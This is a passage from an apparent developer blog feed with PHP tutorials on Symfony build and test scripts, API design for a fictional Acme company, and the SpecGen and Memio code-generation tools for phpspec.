<p>And now we're ready to test our application! Let's save our work:</p>

<pre><code>git add -A
git commit -m 'Prepared application for tests'
</code></pre>

<h2 id="scripts">Scripts</h2>

<p>There's 3 common tasks we'll be doing as developers with our application:</p>

<ul>
<li>build it for our development environment</li>
<li>test it locally or in a Continuous Integration environment</li>
<li>deploy it to production</li>
</ul>

<p>In order to automate those in a simple way, we've decided to create 3 scripts:
<code>bin/build.sh</code>, <code>bin/deploy.sh</code> and <code>bin/test.sh</code>, but for this series we'll only
take care of <code>build</code> and <code>test</code>.</p>

<p>The build steps should reinitialize the database and Symfony's cache, for this
we'll need Doctrine Fixtures and Doctrine Migrations:</p>

<pre><code>composer require doctrine/doctrine-fixtures-bundle:~2.2
composer require doctrine/migrations:~1.0@alpha
composer require doctrine/doctrine-migrations-bundle:~1.0
</code></pre>

<p>Then we have to register them in <code>app/AppKernel.php</code>:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\HttpKernel\Kernel;
use Symfony\Component\Config\Loader\LoaderInterface;

class AppKernel extends Kernel
{
    public function registerBundles()
    {
        $bundles = array(
            new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
            new Symfony\Bundle\SecurityBundle\SecurityBundle(),
            new Symfony\Bundle\TwigBundle\TwigBundle(),
            new Symfony\Bundle\MonologBundle\MonologBundle(),
            new Symfony\Bundle\SwiftmailerBundle\SwiftmailerBundle(),
            new Symfony\Bundle\AsseticBundle\AsseticBundle(),
            new Doctrine\Bundle\DoctrineBundle\DoctrineBundle(),
            new Sensio\Bundle\FrameworkExtraBundle\SensioFrameworkExtraBundle(),
            new AppBundle\AppBundle(),
        );

        if (in_array($this-&gt;getEnvironment(), array('dev', 'test'))) {
            $bundles[] = new Doctrine\Bundle\FixturesBundle\DoctrineFixturesBundle();
            $bundles[] = new Doctrine\Bundle\MigrationsBundle\DoctrineMigrationsBundle();
            $bundles[] = new Symfony\Bundle\DebugBundle\DebugBundle();
            $bundles[] = new Symfony\Bundle\WebProfilerBundle\WebProfilerBundle();
            $bundles[] = new Sensio\Bundle\DistributionBundle\SensioDistributionBundle();
            $bundles[] = new Sensio\Bundle\GeneratorBundle\SensioGeneratorBundle();
        }

        return $bundles;
    }

    public function registerContainerConfiguration(LoaderInterface $loader)
    {
        $loader-&gt;load($this-&gt;getRootDir().'/config/config_'.$this-&gt;getEnvironment().'.yml');
    }
}
</code></pre>

<p>Now we can write the following <code>bin/build.sh</code> script:</p>

<pre><code>#!/usr/bin/env sh

echo ''
echo '// Building development environment'


rm -rf app/cache/* app/logs/*

composer --quiet --no-interaction install --optimize-autoloader &gt; /dev/null

php app/console --quiet doctrine:database:drop --force &gt; /dev/null 2&gt;&amp;1
php app/console --quiet doctrine:database:create
php app/console --no-interaction --quiet doctrine:migrations:migrate
php app/console --no-interaction --quiet doctrine:fixtures:load --fixtures=src

echo ''
echo ' [OK] Development environment built'
echo ''
</code></pre>

<p>The test steps should be similar, in addition they will run the test suites and
check for coding standards. We can install PHP CS Fixer for this:</p>

<pre><code>composer require --dev fabpot/php-cs-fixer:~1.6
</code></pre>

<p>Here's the <code>bin/test.sh</code> script:</p>

<pre><code>#!/usr/bin/env sh

echo ''
echo '// Building test environment'

rm -rf app/cache/test app/logs/*test.log

composer --quiet --no-interaction install --optimize-autoloader  &gt; /dev/null
php app/console --env=test --quiet cache:clear


php app/console --env=test --no-debug --quiet doctrine:database:drop --force &gt; /dev/null 2&gt;&amp;1
php app/console --env=test --no-debug --quiet doctrine:database:create
php app/console --env=test --no-debug --no-interaction --quiet doctrine:migrations:migrate
php app/console --env=test --no-debug --no-interaction --quiet doctrine:fixtures:load --fixtures=src

echo ''
echo ' [OK] Test environment built'
echo ''

vendor/bin/phpunit -c app &amp;&amp; vendor/bin/phpspec --no-interaction run --format=dot &amp;&amp; vendor/bin/php-cs-fixer fix --dry-run --config=sf23 .
</code></pre>

<p>With this we can start the tickets assigned to us, we can commit the changes:</p>

<pre><code>chmod +x bin/*.sh
git add -A
git commit -m 'Created build and test scripts'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Acme's technology stack is composed of Apache2, PostgreSQL, Symfony, PHPUnit and phpspec.
In order to ake sure that anyone in the team or any new comers can maintain this new
application in the future, we've chosen to stay consistent with the rest.</p>

<p>In the next article, we'll create the search items endpoint in a pragmatic way.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony Differently - part 1: Introduction]]></title>
            <link href="/2015/06/03/sf-differently-part-1-introduction.html"/>
            <updated>2015-06-03T00:00:00+01:00</updated>
            <id>/2015/06/03/sf-differently-part-1-introduction.html</id>
            <content type="html"><![CDATA[<p><a href="https://symfony.com">Symfony</a> is an amazing HTTP framework which powers
<a href="http://labs.octivi.com/handling-1-billion-requests-a-week-with-symfony2/">high traffic websites</a>.
Performance shouldn't be a concern when first creating a website, because between
the time it is launched and the time it actually has a high traffic many things
that we didn't expect in the first days will happen:</p>

<ul>
<li>requirements will change</li>
<li>user behavior will change</li>
<li>even the team can change</li>
</ul>

<p>Optimizing applications has an impact over maintenance, and making it harder to change
right from the begining might not be the best option. However when the need of performance
actually arises, we need to tackle it.</p>

<p>This series of articles is about this specific moment, and how to tackle it in a pragmatic way.</p>

<blockquote>
  <p><strong>Spoiler Alert</strong>: It will feature a section where we optimize our application step by step,
  with a monitoring of the impact on performance. We'll see that those don't make a big
  difference, which is why those concerns shouldn't be addressed from day 1.</p>
</blockquote>

<p>First, let's have a look at the big picture. Please note that the approach we use
here is only one amongst many (every need is different, it might not be the best in every situations).</p>

<h2 id="the-project">The project</h2>

<p>For our examples, we'll pretend to be the Acme Company which powers half the planet
in almost every aspect of our lives. Performance isn't just a concern, it has become
a reality.</p>

<blockquote>
  <p><strong>Note</strong>: Those examples are all made up, but they're based on real experience.</p>
</blockquote>

<p>We've analysed our market and we'd like to have the following new feature:</p>

<pre><code>As a customer, I'd like to buy an item
</code></pre>

<p>During a meeting, we've come up with the following example:</p>

<pre><code>Given a "fruit" category
When I pick a "banana"
Then it should be ordered
</code></pre>

<h2 id="the-team">The team</h2>

<p>In the first days of Acme, we only had a few developers which were full stack. It
worked quite well but we've grown so much that we had to recruit more specialized
profiles with a frontend team and an API one: it allowed us to parallelize the work.</p>

<h2 id="the-architecture">The architecture</h2>

<p>Frontend applications that live in the customer's browser have been chosen because:</p>

<ul>
<li>they are extremely responsive</li>
<li>they provide a richer User eXperience</li>
<li>they have a lower server consumption</li>
</ul>

<p>In the early days of Acme there was a single big application, but with the number
of customer growing and asking features specific to their need, it failed us hard
costing us Money, Customers and Developers.
Now each frontend applications talk to a dedicated API.</p>

<p>The dedicated APIs mix and match data coming from another layer of specific APIs.
Those basically provide Create Read Update Delete and Search (CRUDS) access to
their own data storage.</p>

<blockquote>
  <p><strong>Note</strong>: We've decided to have two layers of APIs in order to avoid mixing
  features specific to a customer in an endpoint used by everyone.</p>
</blockquote>

<p>From the Use Stories, we've identified two types of data: <code>item</code> related ones
and <code>order</code> related one.
We've decided to create the following applications:</p>

<ul>
<li><code>acme/order-items-front</code>, the frontend application</li>
<li><code>acme/order-items-api</code> the dedicated API</li>
<li><code>acme/items</code>, an API specific to the <code>item</code> and <code>item_category</code> tables</li>
<li><code>acme/orders</code>, an API specific to the <code>order</code> table</li>
</ul>

<p><img src="http://yuml.me/c0591d90" alt="Diagram" /></p>

<p>In this series, we'll focus on the creation of the Search endpoint in <code>acme/items</code>.</p>

<h2 id="the-task">The task</h2>

<p>The Search endpoint should allow:</p>

<ul>
<li>pagination of items, using <code>page</code> and <code>per_page</code> parameters</li>
<li>filtering of items, using column name with value for parameters</li>
<li>ordering items, using a <code>sort</code> parameter</li>
</ul>

<p>In this series, we'll focus on paginating items.</p>

<p>Here's a valid <code>Request</code> sample:</p>

<pre><code>GET /v1/items?page=2&amp;per_page=1 HTTP/1.1
</code></pre>

<p>It should return a <code>Response</code> similar to:</p>

<pre><code>HTTP/1.1 200 OK
Content-Type: application/json

{"data":[{"id":42,"name":"banana","category_id":23}],"page":{"current_page":2,"per_page":1,"total_elements":2,"total_pages":2}}
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Our Acme mega corporation needs a new feature and we've decided to implement it
by creating a frontend, its dedicated API which mix and match data coming from two
new specific APIs.</p>

<p>The choice of this architecture has been made because it solved issues encountered
in Acme's past, when we had a single big application.</p>

<p>In the next article we'll bootstrap a Symfony application to create an endpoint to search
for items.</p>

<p>In the mean time if you're interrested in creating APIs in a pragmatic way you can
read <a href="http://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api">the following article</a>.
If you're wondering why Acme didn't use this approach from the begining you might
want to read <a href="http://martinfowler.com/bliki/MonolithFirst.html">the following article</a>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[SpecGen v0.3]]></title>
            <link href="/2015/05/28/spec-gen-0-3.html"/>
            <updated>2015-05-28T00:00:00+01:00</updated>
            <id>/2015/05/28/spec-gen-0-3.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: <a href="http://github.com/memio/spec-gen">SpecGen</a> v0.3 inserts a property for each constructor argument.</p>
</blockquote>

<p>SpecGen is a <a href="http://phpspec.net">phpspec</a> extension which enhance its code generator.
With the latest release, v0.3, we get the following features:</p>

<ul>
<li>method generation:

<ul>
<li>it inserts method at the end of the class</li>
<li>it typehints object, array and callable arguments</li>
<li>it names object arguments after their type</li>
<li>it names scalar arguments after a generic name (<code>argument</code>)</li>
<li>it adds number on names that could collide (e.g. <code>$argument1, $argument2</code>)</li>
</ul></li>
<li>constructor generation, same as method except:

<ul>
<li>it inserts constructor at the begining of the class</li>
<li>it inserts properties with initialization for each constructor arguments</li>
</ul></li>
</ul>

<p>Here's a simple example to demonstrate how helpful it can be.</p>

<h2 id="example">Example</h2>

<p>First of all, we need to set up a project with <a href="https://getcomposer.org/download">Composer</a>.
Let's write the following <code>composer.json</code>:</p>

<pre><code>{
    "name": "vendor/project",
    "autoload": {
        "psr-4": {
            "Vendor\\Project\\": "src/Vendor/Project"
        }
    },
    "require": {},
    "require-dev": {}
}
</code></pre>

<p>Then we can install phpspec with SpecGen by running those commands:</p>

<pre><code>composer require --dev phpspec/phpspec:~2.2
composer require --dev memio/spec-gen:~0.3
echo 'extensions:' &gt; phpspec.yml
echo '  - Memio\SpecGen\MemioSpecGenExtension' &gt;&gt; phpspec.yml
</code></pre>

<p>In our example, we'll specify a <code>TextEditor</code> service, it should be able to
create new files by relying on <code>Filesystem</code>, another service.</p>

<p>This can be done as follow:</p>

<pre><code>phpspec describe 'Vendor\Project\TextEditor'
````

&gt; **Tip**: make your vendor's binaries available by adding `vendor/bin` to your `$PATH`.
&gt; `export PATH="vendor/bin:$PATH"`.

This should generate a `spec\Vendor\Project\TextEditorSpec.php` file:

```php
&lt;?php

namespace spec\Vendor\Project;

use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class TextEditorSpec extends ObjectBehavior
{
    function it_is_initializable()
    {
        $this-&gt;shouldHaveType('Vendor\Project\TextEditor');
    }
}
</code></pre>

<p>It needs to be edited to fit our needs:</p>

<pre><code class="php">&lt;?php

namespace spec\Vendor\Project;

use Vendor\Project\Service\Filesystem;
use Vendor\Project\File;
use PhpSpec\ObjectBehavior;

class TextEditorSpec extends ObjectBehavior
{
    const FILENAME = '/tmp/file.txt';
    const FORCE_FILE_CREATION = true;

    function let(Filesystem $filesystem)
    {
        $this-&gt;beConstructedWith($filesystem);
    }

    function it_creates_new_files(File $file, Filesystem $filesystem)
    {
        $filesystem-&gt;exists(self::FILENAME)-&gt;willReturn(false);
        $filesystem-&gt;create(self::FILENAME)-&gt;willReturn($file);

        $this-&gt;open(self::FILENAME, self::FORCE_FILE_CREATION)-&gt;shouldBe($file);
    }
}
</code></pre>

<p>The Test Driven Development cycle advises us to run the test suite now:</p>

<pre><code>phpspec run
</code></pre>

<p>This will bootstrap the following code:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project;

use Vendor\Project\Service\Filesystem;

class TextEditor
{
    private $filesystem;

    public function __construct(Filesystem $filesystem)
    {
        $this-&gt;filesystem = $filesystem;
    }

    public function open($argument1, $argument2)
    {
    }
}
</code></pre>

<p>It created a <code>filesystem</code> property to mirror the constructor arguments. Neat!</p>

<h2 id="what%27s-next%3F">What's next?</h2>

<p>In our example phpspec also generated the collaborators (<code>File</code> and <code>Filesystem</code>).
These don't beneficiate from SpecGen help yet, so the next release (v0.4) will
probably be about using it for collaborators.</p>

<p>Other features that could be implemented would be PHPdoc generation, or avoiding the
<code>Interface</code> / <code>Abstract</code> suffix/prefix in interface and abstract object argument names.</p>

<blockquote>
  <p><strong>Reference</strong>: <a class="button button-reference" href="/2015/08/03/phpspec.html">see the phpspec reference article</a></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[SpecGen v0.2]]></title>
            <link href="/2015/05/20/spec-gen-0-2.html"/>
            <updated>2015-05-20T00:00:00+01:00</updated>
            <id>/2015/05/20/spec-gen-0-2.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: <a href="http://github.com/memio/spec-gen">SpecGen</a> v0.2 inserts use statements.</p>
</blockquote>

<p>SpecGen v0.2 has been released, it introduces a small change: use statement insertion.</p>

<h2 id="it-inserts-use-statements">It inserts use statements</h2>

<p>Let's go back to the sources of the example used in the <a href="/2015/05/13/memio-spec-gen.html">previous article</a>
and clean it a little bit:</p>

<pre><code>rm -rf src
</code></pre>

<p>Given the following specification:</p>

<pre><code class="php">&lt;?php
// File: spec/Vendor/Project/RequestHandlerSpec.php

namespace spec\Vendor\Project;

use PhpSpec\ObjectBehavior;
use Vendor\Project\Message\Request;

class RequestHandlerSpec extends ObjectBehavior
{
    function it_takes_a_request_and_returns_a_response(Request $request)
    {
        $parameters = array();
        $isEnabled = true;
        $this-&gt;handle($request, $parameters, $isEnabled)-&gt;shouldHaveType('Vendor\Project\Message\Response');
    }
}
</code></pre>

<p>When we run the test suite:</p>

<pre><code>phpspec run
</code></pre>

<p>Then we should get the following file, with a use statement:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project;

use Vendor\Project\Message\Request;

class RequestHandler
{
    public function handle(Request $request, array $argument1, $argument2)
    {
    }
}
</code></pre>

<h2 id="it-doesn%27t-insert-use-statements-twice">It doesn't insert use statements twice</h2>

<p>Given the following new step in our specification:</p>

<pre><code class="php">&lt;?php
// File: spec/Vendor/Project/RequestHandlerSpec.php

namespace spec\Vendor\Project;

use PhpSpec\ObjectBehavior;
use Vendor\Project\Message\Request;

class RequestHandlerSpec extends ObjectBehavior
{
    function it_takes_a_request_and_returns_a_response(Request $request)
    {
        $parameters = array();
        $isEnabled = true;
        $this-&gt;handle($request, $parameters, $isEnabled)-&gt;shouldHaveType('Vendor\Project\Message\Response');
    }

    function it_supports_request(Request $request)
    {
        $this-&gt;supports($request)-&gt;shouldBe(true);
    }
}
</code></pre>

<p>When we run the test suite:</p>

<pre><code>phpspec run
</code></pre>

<p>Then we should get the following file, without new use statements:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project;

use Vendor\Project\Message\Request;

class RequestHandler
{
    public function handle(Request $request, array $argument1, $argument2)
    {
    }

    public function supports(Request $request)
    {
    }
}
</code></pre>

<h2 id="it-doesn%27t-insert-use-statement-for-same-namespace">It doesn't insert use statement for same namespace</h2>

<p>Let's clear everything:</p>

<pre><code>rm -rf src
</code></pre>

<p>Given the following specification:</p>

<pre><code class="php">&lt;?php
// File: spec/Vendor/Project/RequestHandlerSpec.php

namespace spec\Vendor\Project;

use PhpSpec\ObjectBehavior;
use Vendor\Project\Request;

class RequestHandlerSpec extends ObjectBehavior
{
    function it_takes_a_request_and_returns_a_response(Request $request)
    {
        $parameters = array();
        $isEnabled = true;
        $this-&gt;handle($request, $parameters, $isEnabled)-&gt;shouldHaveType('Vendor\Project\Response');
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: <code>Request</code> and <code>RequestHandler</code> are both in the same namespace.</p>
</blockquote>

<p>When we run the test suite:</p>

<pre><code>phpspec run
</code></pre>

<p>Then we should get the following, without any use statements:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project;

class RequestHandler
{
    public function handle(Request $request, array $argument1, $argument2)
    {
    }
}
</code></pre>

<h2 id="behind-the-hood">Behind the hood</h2>

<p>This small feature was the occasion to refactor SpecGen a bit! This resulted in the
introduction of <code>CodeEditor</code>, a facade for a home made <code>CommandBus</code> and for
<a href="http://gnugat.github.io/redaktilo">Redaktilo</a>'s <code>Editor</code>.</p>

<p>With these, the code to generate a method and insert a use statement looks like this:</p>

<pre><code class="php">$file = $this-&gt;codeEditor-&gt;open($fileName);
$this-&gt;codeEditor-&gt;handle(new InsertUseStatements($file, $fullyQualifiedNames));
$this-&gt;codeEditor-&gt;handle(new InsertMethod($file, $method));
$this-&gt;codeEditor-&gt;save($file);
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>While some improvements can still be done (use statements in alphabetical order,
typehint interfaces only), the version 0.3 will mainly be about the introduction
of a new generator: insertion of properties when the method is a constructor.</p>

<p>Stay tuned!</p>

<blockquote>
  <p><strong>Reference</strong>: <a class="button button-reference" href="/2015/08/03/phpspec.html">see the phpspec reference article</a></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Memio SpecGen v0.1]]></title>
            <link href="/2015/05/13/memio-spec-gen.html"/>
            <updated>2015-05-13T00:00:00+01:00</updated>
            <id>/2015/05/13/memio-spec-gen.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: <a href="http://github.com/memio/spec-gen">SpecGen</a> is a <a href="http://phpspec.net">phpspec</a>
  extension that improves its code generator. Currently available: type hinted method arguments.</p>
</blockquote>

<p>With <a href="http://memio.github.io/memio">Memio v1.0 released</a>, it is now possible to
create powerful code generators without re-inventing the wheel.
<a href="http://github.com/memio/spec-gen">SpecGen</a> is the first project to use this library, let's
see what it can do for us.</p>

<h2 id="phpspec">phpspec</h2>

<p>First of all we'll talk about <a href="http://phpspec.net">phpspec</a>, which is an exciting
project that provides many benefits:</p>

<ul>
<li>a testing tool (allows to write specifications, which are kind of unit tests)</li>
<li>a "best practice" enforcer (for e.g. cannot test private methods to force us to split code into smaller public APIs)</li>
<li>a time saver (bootstraps tests and code)</li>
</ul>

<blockquote>
  <p><strong>Note</strong>: See <a href="http://techportal.inviqa.com/2014/09/11/my-top-ten-favourite-phpspec-limitations/">My top 10 favourite phpsepc limitations</a>.</p>
</blockquote>

<p>It makes Test Driven Development cycles even more meaningful:</p>

<ol>
<li>bootstrap test by thinking on a class name</li>
<li>write a test by thinking how the class should behave</li>
<li>bootstrap the corresponding code by running the whole test suite</li>
<li>write code as quick as possible without thinking about best practices or design patterns (be pragmatic)</li>
<li>run the test suite to check if the code fulfills the test's specifications</li>
<li>refactor the code (manage the technical debt)</li>
<li>run the test suite to check for regressions</li>
<li>repeat!</li>
</ol>

<p>phpspec's code generator is a big part of its value. Let's see if we can improve it.</p>

<h2 id="phpspec-example">phpspec example</h2>

<p>Let's have a look at how phpspec works. For this we'll need to have a project configured with
<a href="https://getcomposer.org/download">Composer</a>:</p>

<pre><code>{
    "name": "vendor/project",
    "autoload": {
        "psr-4": {
            "Vendor\\Project\\": "src/Vendor/Project"
        }
    },
    "require": {},
    "require-dev": {}
}
</code></pre>

<p>We can install phpspec with the following:</p>

<pre><code>composer require --dev phpspec/phpspec:~2.2
</code></pre>

<p>Let's say we want to create a class that handles requests, conforming to the HTTP protocol
(take a <code>Request</code>, return a <code>Response</code>). We can call this class <code>RequestHandler</code>:</p>

<pre><code>phpspec describe 'Vendor\Project\RequestHandler'
</code></pre>

<blockquote>
  <p><strong>Tip</strong>: make your vendor's binaries available by adding <code>vendor/bin</code> to your <code>$PATH</code>.
  <code>export PATH="vendor/bin:$PATH"</code>.</p>
</blockquote>

<p>We should now have the <code>spec/Vendor/Project/RequestHandlerSpec.php</code> file, bootstraped
for us by phpspec:</p>

<pre><code class="php">&lt;?php

namespace spec\Vendor\Project;

use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class RequestHandlerSpec extends ObjectBehavior
{
    function it_is_initializable()
    {
        $this-&gt;shouldHaveType('Vendor\Project\RequestHandler');
    }
}
</code></pre>

<p>We can directly start by writing our first specification (test method) in it:</p>

<pre><code class="php">&lt;?php
// File: spec/Vendor/Project/RequestHandlerSpec.php

namespace spec\Vendor\Project;

use PhpSpec\ObjectBehavior;
use Vendor\Project\Request;

class RequestHandlerSpec extends ObjectBehavior
{
    function it_takes_arequest_and_returns_a_response(Request $request)
    {
        $this-&gt;handle($request)-&gt;shouldHaveType('Vendor\Project\Response');
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: We tried to make the test method as descriptive as possible (e.g. not <code>testHandler()</code>).
  This is the whole point of specBDD (specification Behavior Driven Development).</p>
</blockquote>

<p>With this we can start to boostrap the code by simply running the test suite:</p>

<pre><code>phpspec run
</code></pre>

<p>It will ask the following 3 questions:</p>

<ol>
<li>Would you like me to generate an interface <code>Vendor\Project\Request</code> for you?</li>
<li>Do you want me to create <code>Vendor\Project\RequestHandler</code> for you?</li>
<li>Do you want me to create <code>Vendor\Project\RequestHandler::handle()</code> for you?</li>
</ol>

<p>By accepting everytime, phpspec will bootstrap the following
<code>src/Vendor/Project/Vendor/RequestHandler.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project;

class RequestHandler
{

    public function handle($argument1)
    {
        // TODO: write logic here
    }
}
</code></pre>

<p>In our specification, we make use of a non existing <code>Request</code> class, and phpspec
also bootstraped it for us in <code>src/Vendor/Project/Vendor/Request.php</code>:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project;

interface Request
{
}
</code></pre>

<p>This is extremely usefull to kickstart our TDD cycle!</p>

<h2 id="memio-specgen">Memio SpecGen</h2>

<p>SpecGen is a phpspec extension, it makes use of Memio (the PHP code generator library)
to make the above bootstraping even more awesome.</p>

<p>Here's how to install it:</p>

<pre><code>composer require --dev memio/spec-gen:~0.1
</code></pre>

<p>We also need to register it as a phpspec extension by writing the following <code>phpspec.yml</code> file:</p>

<pre><code>extensions:
  - Memio\SpecGen\MemioSpecGenExtension
</code></pre>

<p>Its first release, v0.1 (unstable for now), improves the method generation with:</p>

<ul>
<li>type hinted arguments</li>
<li>object arguments named after their type</li>
<li>putting each arguments on their own lines if the inline alternative would have been longer than 120 characters</li>
</ul>

<p>To be fair, this is exactly what already <a href="https://ciaranmcnulty.com/">Ciaran McNulty</a>'s
<a href="https://github.com/ciaranmcnulty/phpspec-typehintedmethods">Typehinted Methods extension</a>
provides, so why would we choose SpecGen? Well simply because it intends to do much more:</p>

<ul>
<li>insertion of <code>use</code> statements</li>
<li>constructor generation (each argument will have a corresponding property and a property initialization)</li>
<li>PHPdoc</li>
<li>???</li>
<li>profit!</li>
</ul>

<h2 id="memio-specgen-example">Memio SpecGen example</h2>

<p>Let's give it a try by first removing the code we boostrapped until now:</p>

<pre><code>rm -rf src
</code></pre>

<p>In order to demonstrate more type hints, we'll add more arguments:</p>

<pre><code class="php">&lt;?php
// File: spec/Vendor/Project/RequestHandlerSpec.php

namespace spec\Vendor\Project;

use PhpSpec\ObjectBehavior;
use Vendor\Project\Request;

class RequestHandlerSpec extends ObjectBehavior
{
    function it_takes_arequest_and_returns_a_response(Request $request)
    {
        $parameters = array();
        $isEnabled = true;
        $this-&gt;handle($request, $parameters, $isEnabled)-&gt;shouldHaveType('Vendor\Project\Response');
    }
}
</code></pre>

<p>We can now run the test suite to bootstrap the code:</p>

<pre><code>phpspec run
</code></pre>

<p>This should create the following <code>src/Vendor/Project/RequestHandler.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project;

class RequestHandler
{
    public function handle(Request $request, array $argument1, $argument2)
    {
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: for now <code>use</code> statements aren't generated. In our example it doesn't
  matter since <code>Request</code> is in the same namespace as <code>RequestHandler</code>.</p>
</blockquote>

<p>Let's remove again the generated code:</p>

<pre><code>rm -rf src
</code></pre>

<p>Now we'd like to see this multiline feature by adding many arguments to our specifiction:</p>

<pre><code class="php">&lt;?php
// File: spec/Vendor/Project/RequestHandlerSpec.php

namespace spec\Vendor\Project;

use PhpSpec\ObjectBehavior;

class RequestHandlerSpec extends ObjectBehavior
{
    function it_takes_arequest_and_returns_a_response()
    {
        $this-&gt;myMethod(1, 2, 3, 4, 5, 6, 7, 8);
    }
}
</code></pre>

<p>Again, we run the test suite:</p>

<pre><code>phpspec run
</code></pre>

<p>This should bootstrap the following <code>src/Vendor/Project/RequestHandler.php</code> file:</p>

<pre><code class="php">&lt;?php

namespace Vendor\Project;

class RequestHandler
{
    public function myMethod(
        $argument1,
        $argument2,
        $argument3,
        $argument4,
        $argument5,
        $argument6,
        $argument7,
        $argument8
    )
    {
    }
}
</code></pre>

<p>And that's it!</p>

<h2 id="conclusion">Conclusion</h2>

<p>Memio SpecGen improves phpspec's generator by adding better named, type hinted
and PSR-2 compliant method arguments.</p>

<p>Note that this kind of improvement has to be done in extension. They cannot be
done directly in phpspec because it tries to enforce best practices, and one of
them is to type hint only against interfaces. As it happens, the current extensions
can also type hint against implementations, depending on how the developers write
their specifications.</p>

<p>The next versions will bring even more exciting features, such as constructor and PHPdoc
generation.</p>

<blockquote>
  <p><strong>Reference</strong>: <a class="button button-reference" href="/2015/08/03/phpspec.html">see the phpspec reference article</a></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Memio v1.0]]></title>
            <link href="/2015/05/06/memio.html"/>
            <updated>2015-05-06T00:00:00+01:00</updated>
            <id>/2015/05/06/memio.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: <a href="http://memio.github.io/memio">Memio</a> is a PHP code generator library,
  the main repository provides integration with Twig templates, but by using the
  smaller package <code>pretty-printer</code> on its own it is possible to be decoupled from any template engines.</p>
</blockquote>

<p><a href="http://memio.github.io/memio">Memio</a> has finally be released in version 1.0 (stable).
In this article, we'll see how the different packages are assembled in the main repository.</p>

<h2 id="standard-edition">Standard Edition</h2>

<p>Memio is composed of small packages (<code>linter</code>, <code>model</code>, <code>pretty-printer</code>, <code>twig-template-engine</code>, <code>validator</code>),
the main repository (<a href="http://gituhb.com/memio/memio">memio/memio</a>) is a standard selection of those
to make their usage easier:</p>

<p><img src="http://yuml.me/8686d889" alt="Package diagram" /></p>

<p>It can be installed using <a href="http://getcomposer.com/">Composer</a>:</p>

<pre><code>composer require memio/memio:~1.0
</code></pre>

<p>It provides two services, which can be instanciated as follow:</p>

<pre><code class="php">&lt;?php
// File: memio.php

require __DIR__.'/vendor/autoload.php';

use Memio\Memio\Config\Build;

$linter = Build::linter();
$prettyPrinter = Build::prettyPrinter();
</code></pre>

<p>To see how to use them, let's describe a request handler method:</p>

<pre><code class="php">// ...

use Memio\Model\Method;
use Memio\Model\Argument;

$handle = Method::make('handle')
    -&gt;addArgument(Argument::make('Request', 'request'))
    -&gt;addArgument(Argument::make('int', 'type')
        -&gt;setDefaultValue('self::MASTER_REQUEST')
    )
    -&gt;addArgument(Argument::make('bool', 'catch')
        -&gt;setDefaultValue('true')
    )
;
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Each Model can be constructed using <code>new</code> or the static constructor <code>make</code>.
  The last one has the advantage to allow method chaining (e.g. <code>Method::make('doHandle')-&gt;makePrivate()</code>).</p>
</blockquote>

<p>We can lint this model:</p>

<pre><code class="php">// ...

$linter-&gt;validate($handler); // @throws Memio\Validator\Exception\InvalidModelException if the model contains syntax errors.
</code></pre>

<p>And we can generate the corresponding PHP code:</p>

<pre><code class="php">// ...

$generatedCode = $prettyPrinter-&gt;generateCode($handle);
</code></pre>

<p>We can check in our console's output the result:</p>

<pre><code class="php">// ...

echo $generatedCode;
</code></pre>

<p>This should print:</p>

<pre><code class="php">    public function handle(Request $request, $type = self::MASTER_REQUEST, $catch = true)
    {
    }
</code></pre>

<h2 id="limitations">Limitations</h2>

<p>Currently it is possible to describe:</p>

<ul>
<li>a File (License header, use statements)</li>
<li>a Class (abstract, final, with parents, PHPdoc) or an Interface (with parents, PHPdoc)</li>
<li>a class Constant</li>
<li>a class Property (static, default value, PHPdoc)</li>
<li>a class Method (static, abstract, final, visibility, PHPdoc)</li>
<li>a method Argument (typehint, default value)</li>
</ul>

<p>It is possible to describe a method Body, but only with a string:</p>

<pre><code class="php">// ...

$handle-&gt;setBody(&lt;&lt;&lt;BODY
        try {
            $this-&gt;requestHandler-&gt;handle($request);
        } catch (\Exception $e) {
            if (!$catch) {
                throw $e;
            }
        }
BODY
);
</code></pre>

<h2 id="use-cases">Use cases</h2>

<p>In real life, models wouldn't be built manually as in the above examples. They would
be built dynamically:</p>

<pre><code class="php">// ...

array_shift($argv); // remove binary name (php)
array_shift($argv); // remove script name (memio.php)
$methodName = array_shift($argv); // first argument = method name
$arguments = $argv; // all other arguments = argument types (e.g. `int`, `bool`, `DateTime`, etc)

$method = new Method($methodName);
$index = 1;
foreach ($arguments as $argumentType) {
    $argumentName = 'argument'.$index++;
    $method-&gt;addArgument(new Argument($argumentType, $argumentName));
}

echo $prettyPrinter-&gt;generatedCode($method);
</code></pre>

<p>Have a try by running <code>php memio.php handle Request int bool</code>, it should print the following:</p>

<pre><code class="php">    public function handle(Request $argument1, $argument2, $argument3)
    {
    }
</code></pre>

<p>With this we can already improve <a href="http://phpspec.net">phpspec</a> generator (generate typehinted arguments, PHPdoc, etc).
This is going to be the next Memio package, a phpspec extension.</p>

<h2 id="extension-points">Extension points</h2>

